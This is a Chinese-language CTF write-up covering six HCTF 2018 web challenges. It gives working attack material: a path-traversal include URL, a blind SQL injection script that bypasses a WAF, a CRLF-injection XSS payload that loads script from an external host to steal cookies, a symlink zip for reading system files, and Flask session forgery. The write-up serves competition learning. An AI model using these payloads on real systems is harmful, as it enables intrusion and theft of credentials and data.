warmup

直接给了代码,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
<?php
class emmm
{
public static function checkFile(&$page)
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];
if (! isset($page) || !is_string($page)) {
echo "you can't see it";
return false;
}

if (in_array($page, $whitelist)) {
return true;
}

$_page = mb_substr(
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}

$_page = urldecode($page);
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}

if (! empty($_REQUEST['file'])
&& is_string($_REQUEST['file'])
&& emmm::checkFile($_REQUEST['file'])
) {
include $_REQUEST['file'];
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
}
?>

$page可控,进去后截取第一个?前的字符串,然后判断这个字符串是否在$whitelist里面,如果在就包含文件。所以用个?就能绕过了。

payload:

1
2
3
❯ curl http://warmup.2018.hctf.io/index.php\?file\=hint.php%3f/../../../../ffffllllaaaagggg

hctf{e8a73a09cfdd1c9a11cca29b2bf9796f}

kzone

http://kzone.2018.hctf.io/www.zip 给了源码,是找的网上的一套钓鱼网站改了改。

safe.php里做了全局过滤,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
function waf($string)
{
$blacklist = '/union|ascii|mid|left|greatest|least|substr|sleep|or|benchmark|like|regexp|if|=|-|<|>|\#|\s/i';
return preg_replace_callback($blacklist, function ($match) {
return '@' . $match[0] . '@';
}, $string);
}

function safe($string)
{
if (is_array($string)) {
foreach ($string as $key => $val) {
$string[$key] = safe($val);
}
} else {
$string = waf($string);
}
return $string;
}

foreach ($_GET as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_GET[$key] = $value;
}
foreach ($_POST as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_POST[$key] = $value;
}
foreach ($_COOKIE as $key => $value) {
if (is_string($value) && !is_numeric($value)) {
$value = safe($value);
}
$_COOKIE[$key] = $value;
}
unset($cplen, $key, $value);
?>

数据库操作的地方倒是很多,到要硬绕很困难。

注意到www/include/member.php中有两个可疑的地方,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
<?php
if (!defined('IN_CRONLITE')) exit();
$islogin = 0;
if (isset($_COOKIE["islogin"])) {
if ($_COOKIE["login_data"]) {
$login_data = json_decode($_COOKIE['login_data'], true);
$admin_user = $login_data['admin_user'];
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
if ($udata['username'] == '') {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $login_data['admin_pass']) {
$islogin = 1;
} else {
setcookie("islogin", "", time() - 604800);
setcookie("login_data", "", time() - 604800);
}
}
}
if (isset($_SESSION['islogin'])) {
if ($_SESSION["admin_user"]) {
$admin_user = base64_decode($_SESSION['admin_user']);
$udata = $DB->get_row("SELECT * FROM fish_admin WHERE username='$admin_user' limit 1");
$admin_pass = sha1($udata['password'] . LOGIN_KEY);
if ($admin_pass == $_SESSION["admin_pass"]) {
$islogin = 1;
}
}
}
?>
  1. 假如我们知道LOGIN_KEY,那么只要让$udata['password']传入空,就能登陆后台。这应该是个后门,LOGIN_KEY硬编码在配置文件里,但是试了下出题者把LOGIN_KEY改了,这条路就断了。
  2. 我下了网上流传的源码diff了一下,发现网上的源码传入cookie后是用的base64_decode,这样很容易就能绕过全局过滤。出题人修复了一下,改成了json_decode。所以,极有可能还是利用json_decode的某些tricks来绕过全局过滤。

测试后发现json_deocde会自动进行一次unicode解码,可以利用这个特性绕过全局过滤。

布尔注入脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
#! /usr/bin/env python3
# Author : sn00py
# Date : 11/9 23:06
# Comment: no comment


import requests
import urllib
import string


def unicode(strings):
result = r""
for i in strings:
result += str(hex(ord(i))).replace('0x', r'%5cu00')
return result

# url = "http://127.0.0.1/www/admin/login.php"
url = "http://kzone.2018.hctf.io/admin/login.php"
pwd = ''
for i in range(30, 100):
for j in range(32, 127):
# password: be933cba048a9727a2d2e9e08f5ed046
# admin_user = "admin' and ascii(substr(password,{},1))={}#".format(i, j)
# 表名F1444g,
# admin_user = "admin' and ascii(substr((select group_CONCAT(table_name) from information_schema.TABLES WHERE TABLE_SCHEMA=DATABASE()),{},1))={}#".format(i, j)
# 列名F1a9
# admin_user = "admin' and ascii(substr((select group_CONCAT(column_name) from information_schema.COLUMNS WHERE table_name='F1444g'),{},1))={}#".format(i, j)
# flag
admin_user = "admin' and ascii(substr((select group_CONCAT(F1a9) from F1444g),{},1))={}#".format(i, j)
print(i, j)
try:
admin_user = unicode(admin_user)
cookie = {
'islogin': '1',
'login_data': '{"admin_user":"' + admin_user + '","admin_pass":""}'
}
#print(cookie)
# cookie['login_data'] = cookie['login_data'].decode("unicode-escape")
resp = requests.get(url=url, cookies=cookie)
#print(cookie)
false_len = len(resp.headers['Set-Cookie'])
if false_len < 250:
pwd += chr(j)
print('password:', pwd)
break
except Exception as e:
print(e)

写脚本的时候遇到了python会自动在\前加一个转义符的问题,变成了\\,搞了好久才用URL编码解决掉。

下次遇到类似这种编码绕过/替换绕过的问题,可以写sqlmap的tamper来注,提高效率。

admin

在change password页面右键,html注释了给出了源码,是一个flask写的web程序。

其中,注册函数代码如下,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
def register():

if current_user.is_authenticated:
return redirect(url_for('index'))

form = RegisterForm()
if request.method == 'POST':
name = strlower(form.username.data)
if session.get('image').lower() != form.verify_code.data.lower():
flash('Wrong verify code.')
return render_template('register.html', title = 'register', form=form)
if User.query.filter_by(username = name).first():
flash('The username has been registered')
return redirect(url_for('register'))
user = User(username=name)
user.set_password(form.password.data)
db.session.add(user)
db.session.commit()
flash('register successful')
return redirect(url_for('login'))
return render_template('register.html', title = 'register', form = form)

很明显一个奇怪的地方,strlower是一个自定义函数,

1
2
3
def strlower(username):
username = nodeprep.prepare(username)
return username

gogole一下就能发现nodeprep.prepare存在漏洞,也是unicode的问题。

参考:http://blog.lnyas.xyz/?p=1411

注册一个账号为ᴬdmin的账号,然后修改密码,就能改掉admin的密码。再用admin登陆就能看到flag。

bottle

很明显考察bootle框架的CRLF注入漏洞,参考p神博客:https://www.leavesongs.com/PENETRATION/bottle-crlf-cve-2016-9964.html

利用一个CRLF+绕过firefox 302跳转

payload:

1
http://bottle.2018.hctf.io/path?path=http://bottle.2018.hctf.io:22/user%0D%0AX-XSS-Protection:0%0D%0AContent-Length:200%0D%0A%0D%0A%3Cscript%20src%3Dhttp://xsspt.com/ECQyq3?1541916662%3E%3C/script%3E

打到cookie登陆就能看到flag。

hide and seek

题目给出了一个上传功能,只能上传zip文件,然后直接回显出了zip内的文件内容。

猜测可能是软连接导致的任意文件读取。

这道题的难点在于找web源码路径,

首先构造一个zip文件,读取

1
ln -s /proc/self/environ flag; zip -y flag.zip flag

上传后读取到:

1
UWSGI_ORIGINAL_PROC_NAME=/usr/local/bin/uwsgiSUPERVISOR_GROUP_NAME=uwsgiHOSTNAME=323a960bcc1aSHLVL=0PYTHON_PIP_VERSION=18.1HOME=/rootGPG_KEY=0D96DF4D4110E5C43FBFB17F2D347EA6AA65421DUWSGI_INI=/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.iniNGINX_MAX_UPLOAD=0UWSGI_PROCESSES=16STATIC_URL=/staticUWSGI_CHEAPER=2NGINX_VERSION=1.13.12-1~stretchPATH=/usr/local/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/binNJS_VERSION=1.13.12.0.2.0-1~stretchLANG=C.UTF-8SUPERVISOR_ENABLED=1PYTHON_VERSION=3.6.6NGINX_WORKER_PROCESSES=autoSUPERVISOR_SERVER_URL=unix:///var/run/supervisor.sockSUPERVISOR_PROCESS_NAME=uwsgiLISTEN_PORT=80STATIC_INDEX=0PWD=/app/hard_t0_guess_n9f5a95b5ku9fgSTATIC_PATH=/app/staticPYTHONPATH=/appUWSGI_RELOADS=0

可以看到uwsgi的配置文件在/app/it_is_hard_t0_guess_the_path_but_y0u_find_it_5f9s5b5s9.ini

读取这个文件,得到:

1
2
3
[uwsgi] module = hard_t0_guess_n9f5a95b5ku9fg.hard_t0_guess_also_df45v48ytj9_main callable=app

/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

读取/app/main.py

1
2
3
4
5
6
7
@app.route("/")
def hello():
return "Hello World from Flask in a uWSGI Nginx Docker container with \
Python 3.6 (default)"

if __name__ == "__main__":
app.run(host='0.0.0.0', debug=True, port=80)

读取/app/hard_t0_guess_n9f5a95b5ku9fg/hard_t0_guess_also_df45v48ytj9_main.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
# -*- coding: utf-8 -*-
from flask import Flask,session,render_template,redirect, url_for, escape, request,Response
import uuid
import base64
import random
import flag
from werkzeug.utils import secure_filename
import os
random.seed(uuid.getnode())
app = Flask(__name__)
app.config['SECRET_KEY'] = str(random.random()*100)
app.config['UPLOAD_FOLDER'] = './uploads'
app.config['MAX_CONTENT_LENGTH'] = 100 * 1024
ALLOWED_EXTENSIONS = set(['zip'])

def allowed_file(filename):
return '.' in filename and \
filename.rsplit('.', 1)[1].lower() in ALLOWED_EXTENSIONS


@app.route('/', methods=['GET'])
def index():
error = request.args.get('error', '')
if(error == '1'):
session.pop('username', None)
return render_template('index.html', forbidden=1)

if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)
else:
return render_template('index.html')


@app.route('/login', methods=['POST'])
def login():
username=request.form['username']
password=request.form['password']
if request.method == 'POST' and username != '' and password != '':
if(username == 'admin'):
return redirect(url_for('index',error=1))
session['username'] = username
return redirect(url_for('index'))


@app.route('/logout', methods=['GET'])
def logout():
session.pop('username', None)
return redirect(url_for('index'))

@app.route('/upload', methods=['POST'])
def upload_file():
if 'the_file' not in request.files:
return redirect(url_for('index'))
file = request.files['the_file']
if file.filename == '':
return redirect(url_for('index'))
if file and allowed_file(file.filename):
filename = secure_filename(file.filename)
file_save_path = os.path.join(app.config['UPLOAD_FOLDER'], filename)
if(os.path.exists(file_save_path)):
return 'This file already exists'
file.save(file_save_path)
else:
return 'This file is not a zipfile'


try:
extract_path = file_save_path + '_'
os.system('unzip -n ' + file_save_path + ' -d '+ extract_path)
read_obj = os.popen('cat ' + extract_path + '/*')
file = read_obj.read()
read_obj.close()
os.system('rm -rf ' + extract_path)
except Exception as e:
file = None

os.remove(file_save_path)
if(file != None):
if(file.find(base64.b64decode('aGN0Zg==').decode('utf-8')) != -1):
return redirect(url_for('index', error=1))
return Response(file)


if __name__ == '__main__':
#app.run(debug=True)
app.run(host='127.0.0.1', debug=True, port=10008)

读取的内容过滤了aGN0Zg==(hctf),不能直接读取flag.py

注意到在index函数里实际上输出了flag,

1
2
if 'username' in session:
return render_template('index.html', user=session['username'], flag=flag.flag)

但是我们注册用户登陆上去却没看到,说明在模版文件里可能还做了权限校验。读取/app/hard_t0_guess_n9f5a95b5ku9fg/templates/index.html,关键代码:

1
2
3
4
5
6
7
8
<h1>Hello, {{ user }}. </h1>

{% if user == 'admin' %}
Your flag: <br>
{{ flag }}

{% else %}
<br>

这里判断了账号必须是admin才会输出flag,但是在login()函数中,admin直接被ban掉了:

1
2
if(username == 'admin'):
return redirect(url_for('index',error=1))

所以,现在的思路只能是拿到admin的cookie进行登陆,XSS显然是没有的。

flask的session是clinet session,用户信息是用SECRET_KEY加密后保存在SESSION_ID里的。

那么就只能搞到SECRET_KEY来构造SESSION_ID

注意到这里SECRET_KEY的生成过程。

1
2
random.seed(uuid.getnode())
app.config['SECRET_KEY'] = str(random.random()*100)

随机数种子是用uuid.getnode()来生成的,uuid.getnode()取的是服务器的mac地址。也就是只要拿到mac地址,那么这个随机数种子就是可预测的,SECRET_KEY就拿到了。

读取/sys/class/net/eth0/address得到mac地址:

1
12:34:3e:14:7c:62

上面已经得到python版本为3.6,要在相同版本下才能得到一样的种子,

1
2
3
4
5
6
7
8
import random

mac = '12:34:3e:14:7c:62'
node = int(''.join([bin(int(i, 16)).replace('0b', '').zfill(8) for i in mac.split(':')]), 2)
random.seed(node)

key = str(random.random() * 100)
print(key)

拿到SECRET_KEY后自己本地起一个flask,就能构造出admin的session,

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
from flask import Flask, session

app = Flask(__name__)

app.config['SECRET_KEY'] = '11.935137566861131'


@app.route('/')
def hello_world():
session['username'] = 'admin'
return 'Hello World!'


if __name__ == '__main__':
app.run()

然后用这个cookie登陆就能看到flag。

Game

这道题提供了几个功能点:

  • 注册
  • 登陆
  • 提交分数
  • 排序

排序的时候order by $_GET['order']可控,但是过滤很严格,没有注入。不过可以按照password列来排序,通过这个功能可以用来猜解其他用户的密码。

假如admin的密码是zzz,那么我们注册一个密码为atest用户,再按照password排序(默认是倒序),那么test必然排在admin的下面。利用这个思路,不断往admin的密码上靠,就能爆破出admin的密码。

但是最后做的时候,脚本只跑出了第一位d。。。快要放弃的时候,队友注意到其他队伍有直接用密码作为账号注册的,在一顿分析后,精确的从5w多条记录里翻到了密码。

image-20181112113456136

拿到密码后登陆就能看到flag。